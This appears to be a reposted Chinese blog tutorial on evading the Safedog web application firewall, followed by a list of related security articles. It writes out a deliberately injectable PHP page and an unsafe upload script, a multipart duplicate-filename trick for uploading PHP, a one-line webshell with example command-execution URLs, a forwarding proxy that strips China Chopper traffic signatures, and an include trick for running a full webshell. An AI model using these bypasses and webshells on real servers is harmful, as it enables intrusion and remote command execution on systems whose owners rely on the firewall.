教你如何繞過安全狗(safedog)

一、前言
安全狗是一款大家熟悉的服務(wù)器安全加固產(chǎn)品,據(jù)稱已經(jīng)擁有50W的用戶量。最近經(jīng)過一些研究,發(fā)現(xiàn)安全狗的一些防護(hù)功能,例如SQL注入、文件上傳、防webshell等都可以被繞過,下面為大家一一介紹。
二、測試環(huán)境
本次測試環(huán)境為
中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72
網(wǎng)站安全狗IIS版3.2.08417
三、SQL注入繞過
我們先寫一個(gè)存在SQL注入漏洞的php:
<?
$uid = $_REQUEST['id'];
if(!$conn = @mysql_connect("localhost", "root", "123456"))
die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.');
if(<a rel="external nofollow" href="mailto:!@mysql_select_db(%22supe%22,$conn">!@mysql_select_db("supe",$conn</a>))
die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
$text = "select * from supe_members where uid=".$uid;
$rs = mysql_query ($text,$conn);
while($rom = mysql_fetch_array($rs))
{
echo $rom["username"];
}
?>
我用的是supesite的庫,可以看到這里是有明顯SQL注入漏洞的,當(dāng)沒有安全狗的時(shí)候可以成功注入:
當(dāng)安裝安全狗之后,注入語句會(huì)被攔截:
經(jīng)過測試發(fā)現(xiàn),安全狗這塊的匹配正則應(yīng)該是\s+and這類的,所以只要想辦法去掉空格,用普通注釋/**/是不行的,安全狗也防了這塊。但是對(duì)內(nèi)聯(lián)注釋/*!and*/這種不知道為什么安全狗沒有攔截。
用下面語句成功繞過SQL注入過濾:
有人說只有POST才可以,但是我測試最新版本的安全狗GET注入也是可以用這種方法繞過的。
四、文件上傳繞過
安全狗的防上傳也是做在WEB層,即分析HTTP協(xié)議來防止上傳,按照yuange說的安全是一個(gè)條件語句,這顯然是不符合安全規(guī)范的,只檢查HTTP并不能保證文件系統(tǒng)層上的問題。
假設(shè)有一個(gè)上傳功能的php:
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "
";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "
";
echo "Type: " . $_FILES["file"]["type"] . "
";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb
";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "
";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
<html>
<body>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
然后在安全狗里設(shè)置禁止上傳.php文件:
然后通過瀏覽器上傳php會(huì)被攔截:
我們通過burp把上傳的HTTP包抓下來,然后自己進(jìn)行一下修改POST數(shù)據(jù)。經(jīng)過了一些實(shí)驗(yàn),直接說結(jié)果吧,當(dāng)增加一處文件名和內(nèi)容,讓兩個(gè)文件名不一致的時(shí)候,成功繞過了安全狗的防護(hù),上傳了php文件。原因是安全狗進(jìn)行文件名匹配時(shí)候用的是第一個(gè)文件名test.jpg,是復(fù)合安全要求的,但是webserver在保存文件的時(shí)候卻保存了第二個(gè)文件名test.php,也就是if(security_check(a)){do(b);},導(dǎo)致安全檢查沒有用,php文件已經(jīng)成功上傳了:
這樣的上傳數(shù)據(jù)可能是不符合RFC規(guī)范的,但是卻達(dá)到了繞過攔截的目的。結(jié)論是每種安全檢查一定要在對(duì)應(yīng)的層次做檢查,而不能想當(dāng)然的在WEB層做系統(tǒng)層該做的事情。
五、一句話webshell繞過
對(duì)于攻擊者來說,安全狗很煩人的一點(diǎn)就是傳上去的webshell卻不能執(zhí)行。我們就來看看怎么繞過安全狗對(duì)一句話webshell的攔截。
首先要知道安全狗防webshell仍然是依靠文件特征+HTTP來判斷,但webshell真正執(zhí)行是在腳本層,檢查的層次不對(duì)當(dāng)然也是可以輕易繞過去的。因?yàn)閜hp里面函數(shù)名都可以是變量,文件里哪還有特征啊,上傳如下php:
<?php$_REQUEST['a']($_REQUEST['b']);?>
然后在瀏覽器里執(zhí)行:
http://192.168.200.115/small.php?a=system&b=dir
成功執(zhí)行了系統(tǒng)命令,當(dāng)然也可以執(zhí)行php代碼:
http://192.168.200.115/small.php?a=assert&b=phpinfo();
六、菜刀繞過
測試發(fā)現(xiàn)這種一句話雖然可以成功執(zhí)行,但是在菜刀里卻不能用,而有些人非覺得這樣的一句話麻煩,非要用菜刀。經(jīng)分析安全狗對(duì)菜刀的HTTP請求做了攔截,菜刀的POST數(shù)據(jù)里面對(duì)eval數(shù)據(jù)做了base64編碼,安全狗也就依靠對(duì)這些特征來攔截,因此要想正常使用菜刀,必須在本地做一個(gè)轉(zhuǎn)發(fā),先把有特征的數(shù)據(jù)轉(zhuǎn)換。這個(gè)思路類似于對(duì)偽靜態(tài)注入的本地轉(zhuǎn)發(fā)。
首先在本地搭建WEB SERVER,然后寫一個(gè)php轉(zhuǎn)發(fā)程序:
<?php
$target="<a rel="external nofollow" ;//</a>這個(gè)就是前面那個(gè)一句話的地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
意思就是在本地先對(duì)eval數(shù)據(jù)進(jìn)行base64解碼,然后再POST到目標(biāo)機(jī)器上去。在菜刀里設(shè)置URL為本地轉(zhuǎn)發(fā)php腳本:
這樣就可以使用菜刀來連接前面那個(gè)一句話馬了:
這樣就能用菜刀了,不過大家真的沒必要執(zhí)著于菜刀,向大家推薦一款更好的類似菜刀的工具Altman:
它的最大特點(diǎn)是開源,這意味著像安全狗這種根據(jù)特征來攔截的,只要改改源代碼把特征字符串改掉,就永遠(yuǎn)也無法攔截。當(dāng)然改這個(gè)代碼要你自己動(dòng)手嘍。
七、webshell大馬繞過
一句話功能畢竟有限,想用大馬怎么辦?仍然是傳統(tǒng)的include大法,傳一個(gè)big.php內(nèi)容如下:
<?phpinclude('logo.txt');?>
然后再把大馬上傳為logo.txt,這樣就成功繞過安全狗的攔截執(zhí)行了webshell:
這樣大馬也順利執(zhí)行了。
八、結(jié)束語
上面從SQL注入、上傳、webshell等幾個(gè)方面繞過了安全狗的保護(hù),有些繞過方法安全狗可能早就知道了,但是為什么一直沒有補(bǔ)?很可能的原因是怕過濾太嚴(yán)格影響某些應(yīng)用,在安全和通用性之間做取舍我認(rèn)為是可以理解的,但是我覺得這也正是安全研究人員存在的價(jià)值所在。
這里發(fā)幾句題外的牢騷,很多安全公司其實(shí)是當(dāng)作軟件公司來做的,做安全軟件就是去做開發(fā),而忽視了安全研究的價(jià)值。普通的防護(hù)方法原理很簡單,但想要不影響應(yīng)用又保證安全其實(shí)很難,如果沒有對(duì)漏洞和攻擊有深入理解的研究人員,安全產(chǎn)品是沒法更上一層樓的。希望各個(gè)安全公司不要太功利,對(duì)研究人員多一些重視,安全公司真的不能僅僅等同于軟件公司??!
相關(guān)文章
- 偶爾在網(wǎng)上看到這些,拿來和大家一塊看看,也好讓各個(gè)站長懂得保護(hù)自己的網(wǎng)站2012-10-16
中國移動(dòng)mas2.0平臺(tái)系統(tǒng)漏洞暴光 附修復(fù)方法
MAS是中國移動(dòng)的短信代理網(wǎng)關(guān)(平臺(tái))。MAS是Mobile Agent Server的簡稱。目前多個(gè)政府部門、國有大型企業(yè)部門、運(yùn)營商、金融部門都采用該平臺(tái)。MAS2.0是中國新一代的代理2012-05-11查找Centos Linux服務(wù)器上入侵者的WebShell后門
服務(wù)器被掛馬或被黑的朋友應(yīng)該知道,黑客入侵web服務(wù)器的第一目標(biāo)是往服務(wù)器上上傳一個(gè)webshell,有了webshell黑客就可以干更多的事 情2012-07-10- PHP網(wǎng)頁的安全性問題,針對(duì)PHP的網(wǎng)站主要存在下面幾種攻擊方式2011-03-11
- 我們的服務(wù)器又出入侵事故了。有客戶的html 網(wǎng)頁底部被插入了一段js 腳本, 導(dǎo)致訪客打開網(wǎng)頁時(shí)被殺毒軟件警告網(wǎng)站上有惡意代碼2012-07-10
- 漏洞說明: php是一款被廣泛使用的編程語言,可以被嵌套在html里用做web程序開發(fā)。phpinfo()是用來顯示當(dāng)前php環(huán)境的一個(gè)函數(shù),許多站點(diǎn)和程序都會(huì)將phpinfo放在自己2008-10-08
最新win2003 II6解析漏洞實(shí)戰(zhàn)及應(yīng)用
新 win2003 IIS6 解析漏洞,大家可以參考下,注意防范。2009-11-23服務(wù)器上網(wǎng)站被掛Iframe木馬的解決方法
今天訪問公司的一個(gè)網(wǎng)站,突然發(fā)現(xiàn)網(wǎng)頁顯示不對(duì),右鍵查看HTML代碼,發(fā)現(xiàn)iframe了一個(gè)網(wǎng)站的js文件,不用說,肯定被掛馬了2014-07-31- 本文介紹了使用CSRF漏洞攻擊D-link路由器全過程,主要目的是如何通過CSRF漏洞實(shí)現(xiàn)遠(yuǎn)程管理訪問D-link路由器,需要的朋友可以參考下2014-04-25
- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02